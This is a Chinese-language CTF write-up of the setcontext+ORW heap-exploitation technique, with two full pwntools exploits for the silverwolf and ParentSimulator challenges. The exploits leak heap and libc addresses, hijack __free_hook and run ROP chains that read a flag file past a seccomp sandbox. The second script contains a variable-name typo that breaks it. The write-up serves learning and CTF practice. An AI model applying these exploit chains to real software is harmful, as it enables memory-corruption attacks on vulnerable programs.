setcontext+ORW
2022-07-05 16:01:35

setcontext+orw

简介:

orw:利用open/read/write的系统调用读取flag

由于沙箱机制,不能使用onegadget或者system==》此时需要使用ROP链的方式构造orw

思路:

libc低版本:

2.27

一般将free_hook或者malloc_hook的地址替换为setoctext+53

==》从该处修改寄存器的值,实现设置环境上下文

==》设置rsp和rcx的值:

rsp会改变栈指针==》控制栈

在修改rcx值后跟着push rcx==》压栈==》等汇编执行值最后的retn时,retn的地址就是压入栈的rcx值

===》通过修改rcx获得控制程序流程的能力

libc高版本:

>=2.29

由rdi寄存器控制变成rdx寄存器控制

使我们无法直接通过控制free的chunk来控制寄存器==》需要gadget来将rdi和rdx转换:

其他相关gadget:

通过控制rdi实现控制rbp

在控制rax+0x28,在此处放置leave_retn即可实现栈迁移

例题

低版本:

ciscn_2021_silverwolf

程序开启了沙箱机制:

使用seccomp-tools查看:

只允许执行open/read/write三个系统调用==》无法使用onegadget和system

并且由于开启了沙箱机制,在程序中将会出现大量的chunk:

考虑清空一个tcache来使用:

for i in range(7):
    add(0x78)

0x80的tcache已经清空

接下来使用触发UAF:释放两次chunk:

由于该libc版本的tcache chunk中有key检查(double free检查),释放一次后需要覆盖一次key以保证不触发

for i in range(2):
    edit(b'a'*0x10)#覆盖key
    dele()

接下来就可以通过打印功能泄漏chunk地址

show()
io.recvuntil(b'Content: ')
heapbase = u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
#由于与第一个chunk的区别只有后3位,所以直接与运算即可
#当然也可以求与第一个chunk的偏移为0xfa0
#heap=io.recvuntil(b"\n",drop=True)
#heap=u64(heap.ljust(8, b"\x00"))
#heapbase=heap-0xfa0
print('heapbase:',hex(heapbase))

至此获得了头chunk的地址==》接下来就是将这个头chunk申请出来

add(0x78)
edit(p64(heapbase+0x10))  #修改chunk0指针指向第一个chunk
add(0x78)
add(0x78)  #申请出第一个chunk

头一个chunk介绍:

data区开始从0x20的tcache个数开始计数

例图:

0x0002070100000007
#刚好对应tcache中的chunk数量

由于接下来需要泄漏libcbase,就需要将chunk释放进unsorted bin==》需要将该chunk size所在的tcache填满

==》头chunk大小为0x250==》在0x20距离0x250为0x23的地方覆盖为7==》使tcache认为0x250的chunk已满

==》释放即为unsorted bin

edit(b'\x00'*0x23+b'\x07')
dele()

利用打印功能获得libc基地址:

show()
unsor_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook=unsor_addr-96-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
print("libcbase:",hex(libcbase))

有了基地址就可以先获取各gadget地址和函数地址了:

setcontext_53=libcbase+libc.sym['setcontext']+53
write_addr=libcbase+libc.sym['write']
free_hook=libcbase+libc.sym['__free_hook']
read_addr=libcbase+libc.sym['read']
syscall=libcbase+libc.sym['read']+0xf

pop_rdi_ret=libcbase+0x000000000002164f
pop_rsi_ret=libcbase+0x0000000000023a6a
pop_rdx_ret=libcbase+0x0000000000001b96
pop_rax_ret=libcbase+0x000000000001b500
ret=libcbase+0x00000000000008aa

接下来就是orw==》打开flag文件,读取flag到内存(本题放在堆块,好控制)中,打印flag

orw=p64(pop_rdi_ret)+p64(heapbase+0x1000)#flag
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)  #直接调用open会破坏栈结构,使用syscall
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000)
orw+=p64(pop_rdx_ret)+p64(0x21)
orw+=p64(read_addr)  #直接调用read不会破坏栈结构,可以直接使用
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(write_addr) #直接调用write也不会破坏栈结构,可以直接使用
#相关函数对栈的影响直接去libc中找即可

还需要伪造一个chunk用以存放orw,flag:

payload=b'\x02'*0x40+p64(free_hook)+p64(0)
payload+=p64(heapbase+0x1000)   #flag    0x40 
payload+=p64(heapbase+0x2000)	#stack   0x50
payload+=p64(heapbase+0x20a0)	#stack   0x60
payload+=p64(heapbase+0x3000)	#orw     0x70
payload+=p64(heapbase+0x3000+0x60)	#orw 0x80
edit(payload)

heap:

此时申请0x20的chunk将会把free_hook申请出来==》在其中放入setoctext+53

add(0x18)
edit(p64(setcontext_53))
print("free_hook:",hex(free_hook))

add(0x38)
edit(b'./flag\x00')

add(0x68)
edit(orw[:0x60])

add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(heapbase+0x3000)+p64(ret))

add(0x48)

dele()

首先在free_hook中填入setcontext+53

在0x40的tcache中填入flag文件名称

接下来就是填入orw,由于申请的最大chunk为0x78不足以放下整个orw,需要两个:

接下来就是控制rsp指向orw==》rsp由rdi+0xa0控制==》所以才需要:

add(0x58)  #rdi+0xa0
edit(p64(heapbase+0x3000)+p64(ret))#指向orw,由于setcontext+53中有push rcx

add(0x48)  #rdi

接下来就是释放这个chunk==》该chunk的地址将作为参数传入free,也就是rdi==》

接着来到free_hook执行setoctext+53==》控制rsp指向orw,setoctext+53执行完后==》

orw打开flag文件,读取,答应

EXP:

from pwn import *

context.arch = 'amd64'
#context.log_level = 'debug'

io=process('./silverwolf')
libc=ELF('/home/closure/tools/glibc-all-in-one/libs/2.27-3ubuntu1.5_amd64/libc-2.27.so')


def add(size):
    io.recvuntil(b"Your choice: ")
    io.sendline(b'1')
    io.recvuntil(b"Index: ")
    io.sendline(b'0')
    io.recvuntil(b"Size: ")
    io.sendline(str(size))

def edit(content):
    io.recvuntil(b"Your choice: ")
    io.sendline(b'2')
    io.recvuntil(b"Index: ")
    io.sendline(b'0')
    io.recvuntil(b"Content: ")
    io.sendline(content)

def show():
    io.recvuntil(b"Your choice: ")
    io.sendline(b'3')
    io.recvuntil(b"Index: ")
    io.sendline(b'0')

def dele():
    io.recvuntil(b"Your choice: ")
    io.sendline(b'4')
    io.recvuntil(b"Index: ")
    io.sendline(b'0')
    
for i in range(7):
    add(0x78)
    
for i in range(2):
    edit(b'a'*0x10)#覆盖key
    dele()
    
show()
io.recvuntil(b'Content: ')
heapbase = u64(io.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
#由于与第一个chunk的区别只有后3位,所以直接与运算即可
#当然也可以求与第一个chunk的偏移为0xfa0
#heap=io.recvuntil(b"\n",drop=True)
#heap=u64(heap.ljust(8, b"\x00"))
#heapbase=heap-0xfa0
print('heapbase:',hex(heapbase))

add(0x78)
edit(p64(heapbase+0x10))  #修改chunk0指针指向第一个chunk
add(0x78)
add(0x78)  #申请出第一个chunk

edit(b'\x00'*0x23+b'\x07')
dele()

show()
unsor_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
malloc_hook=unsor_addr-96-0x10
libcbase=malloc_hook-libc.sym['__malloc_hook']
print("libcbase:",hex(libcbase))

setcontext_53=libcbase+libc.sym['setcontext']+53
write_addr=libcbase+libc.sym['write']
free_hook=libcbase+libc.sym['__free_hook']
read_addr=libcbase+libc.sym['read']
syscall=libcbase+libc.sym['read']+0xf

pop_rdi_ret=libcbase+0x000000000002164f
pop_rsi_ret=libcbase+0x0000000000023a6a
pop_rdx_ret=libcbase+0x0000000000001b96
pop_rax_ret=libcbase+0x000000000001b500
ret=libcbase+0x00000000000008aa

orw=p64(pop_rdi_ret)+p64(heapbase+0x1000)#flag
orw+=p64(pop_rsi_ret)+p64(0)
orw+=p64(pop_rax_ret)+p64(2)
orw+=p64(syscall)  #直接调用open会破坏栈结构,使用syscall
orw+=p64(pop_rdi_ret)+p64(3)
orw+=p64(pop_rsi_ret)+p64(heapbase+0x3000)
orw+=p64(pop_rdx_ret)+p64(0x21)
orw+=p64(read_addr)  #直接调用read不会破坏栈结构,可以直接使用
orw+=p64(pop_rdi_ret)+p64(1)
orw+=p64(write_addr) #直接调用write也不会破坏栈结构,可以直接使用
#相关函数对栈的影响直接去libc中找即可

payload=b'\x02'*0x40+p64(free_hook)+p64(0)
payload+=p64(heapbase+0x1000)   #flag    0x40 
payload+=p64(heapbase+0x2000)	#stack   0x50
payload+=p64(heapbase+0x20a0)	#stack   0x60
payload+=p64(heapbase+0x3000)	#orw     0x70
payload+=p64(heapbase+0x3000+0x60)	#orw 0x80
edit(payload)

add(0x18)
edit(p64(setcontext_53))
print("free_hook:",hex(free_hook))

add(0x38)
edit(b'./flag\x00')

add(0x68)
edit(orw[:0x60])

add(0x78)
edit(orw[0x60:])

add(0x58)
edit(p64(heapbase+0x3000)+p64(ret))

add(0x48)

dele()

io.interactive()

本地效果:

高版本:

DASCTF2021 ParentSimulator

程序有检查root权限,直接patch掉即可

EXP:

from pwn import *

s      = lambda data               :p.send(data) 
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(delim, data)
r      = lambda numb=4096          :p.recv(numb)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
uu32    = lambda data               :u32(data.ljust(4, b'\0'))
uu64    = lambda data               :u64(data.ljust(8, b'\0'))
plt     = lambda data               :elf.plt[data]
got     = lambda data               :elf.got[data]
sym     = lambda data               :libc.sym[data]
itr     = lambda                    :p.interactive()

elf=ELF('./pwn')
libc=ELF('/home/closure/tools/glibc-all-in-one/libs/2.31-0ubuntu9_amd64/libc.so.6')

p=process('./pwn')

def add(index,sex,name):
    sla(">> ",'1')
    sla('index?\n',str(index))
    sla('2.Girl:\n',str(sex))
    sa("Please input your child's name:\n",name)

def edit_name(index,name):
    sla('>> ','2')
    sla('index',str(index))
    sa('name:',name)
    ru('Done!\n')

def show(index):
    sla('>>','3')
    sla('index?',str(index))

def delete(index):
    sla('>>','4')
    sla('index?',str(index))

def edit_content(index,data):
    sla('>>','5')
    sla('index?',str(index))
    sa('description:',data)

def change_sex(index,sex):
    sla('>>','666')
    sla('index?',str(index))
    ru('Current gender:')
    temp = uu64(r(6))
    sla('2.Girl:',str(sex))
    return temp

def exit():
    sla('>>','6')


for i in range(10):
    add(i,1,'a')

for i in range(7):
    delete(6-i)
#从6开始释放chunk至填满tcache

delete(8)
delete(7)
#合并进入unsorted bin

add(0,1,'1')#取出位于tcache中的chunk0

delete(8)#UAF,将合并状态下的chunk的一部分放入tcache

add(0,1,'1')#从tcache中申请出chunk8==》此时chunk8就为chunk0

delete(8)#释放chunk8进入tcache,fd指向chunk2,bk指向管理tcache的chunk

show(0)#通过chunk8伪造的chunk0泄漏chunk地址

ru('Gender: ')#接下来将要接收的就是管理tcache的chunk的data地址(主要是没看过资料,不知道这块叫啥)
heap_addr=uu64(r(6))
print("heap_addr: ",hex(heap_addr))

for i in range(1,9):
    add(i,1,'a')
#申请出tcache中所有的chunk
#chunk1=chunk8
#将unsorted bin中合并的chunk切割一部分,也就是chunk7=》chunk7的新身份为chunk8
#此时unsorted bin中只剩下一个切割后剩下的chunk8,该chunk8也是chunk0
show(0)#泄漏chunk8
ru('Gender: ')#接下来要接收的就是chunk8的bk指针,也就是main_arena+96
unsor_addr=uu64(r(6))
print("unsorted_addr: ",hex(unsor_addr))
libcbase=unsor_addr-96-0x1ebb80 #减去main_arena+96到基址的偏移获得基地址
print("libcbase: ",hex(libcbase))

open_addr=libcbase+sym('open')
read_addr=libcbase+sym('read')
puts_addr=libcbase+sym('puts')
free_hook=libcbase+sym('__free_hook')
setcontext_61=libcbase+sym('setcontext')+61

gadget=libcbase+0x00000000001547a0
pop_rdi_ret=libcbase+0x0000000000026b72
pop_rdx_r12_ret=libcbase+0x000000000011c1e1
pop_rsi_ret=libcbase+0x0000000000027529

print("gadget: ",hex(gadget))
print("setcontext_61: ",hex(setcontext_61))
print("pop rdi ret: ",hex(pop_rdi_ret))
print("free_hook: ",hex(free_hook))

add(9,1,'a')#申请出unsorted bin中最后的chunk8
#此时chunk8的身份:chunk0,chunk1,chunk9
delete(3)#释放chunk2
delete(1)#此时在tcache中chunk8指向chunk2

edit_name(0,p64(heap_addr+0x380)[:-1])#修改chunk8的fd指向chunk1头-0x10

add(8,1,'a')#chunk8变回chunk8
add(9,1,'a')#申请fake_chunk
print("chunk9: ",hex(heap_addr+0x380))

payload=p64(0)+p64(0x111)
payload+=p64(0)+p64(heap_addr+0x3a8-0x18)#在chunk2的gender字段放入chunk1的prev_size
#该地址+0x28即为chunk1的Description
payload+=p64(setcontext_61)
payload+=b'\x00'*(0xa0-len(payload)) + p64(heap_addr+0x5d0)+p64(pop_rdi_ret)

edit_content(9,payload)

delete(7)#释放chunk6
delete(8)#释放chunk8,指向chunk6
edit_name(0,p64(free_hook)[:-1])#修改chunk8的fd指向free_hook
add(8,1,'a')#将chunk8申请回来
add(7,1,p64(gadget)[:-1])#在free_hook上布置gadget

'''
.text:00000000001547A0                 mov     rdx, [rdi+8]
.text:00000000001547A4                 mov     [rsp+0C8h+var_C8], rax
.text:00000000001547A8                 call    qword ptr [rdx+20h]
'''

payload=p64(heap_addr+0xb10)#flag
payload+=p64(pop_rsi_ret)+p64(0)
payload+=p64(open_addr)
payload+=p64(pop_rdi_ret)+p64(4)
payload+=p64(pop_rsi_ret)+p64(heap_addr+0x500)
payload+=p64(pop_rdx_r12_ret)+p64(0x100)+p64(0)
payload+=p64(read_add)
payload+=p64(pop_rdi_ret)+p64(heap_addr+0x500)
payload+=p64(puts_addr)

edit_content(4,payload)

edit_name(0,'./flag\x00')
gdb.attach(p,'b *'+str(hex(gadget)))
delete(2)#取chunk1+0x8作为rdi
#进入free=>free_hook=>gadget=>将chunk1的prev_size给rdx=>call setcontext_61
#=>首先将rdx(prev_size)+0xa0:heap_addr+0x5d0赋给rsp
#heap_addr+0x5d0就是4的content区
#push rcx将pop rdi压栈
#setcontext_61返回
#开始执行orw
#至pop rdi,后面跟的就是"./flag"

itr()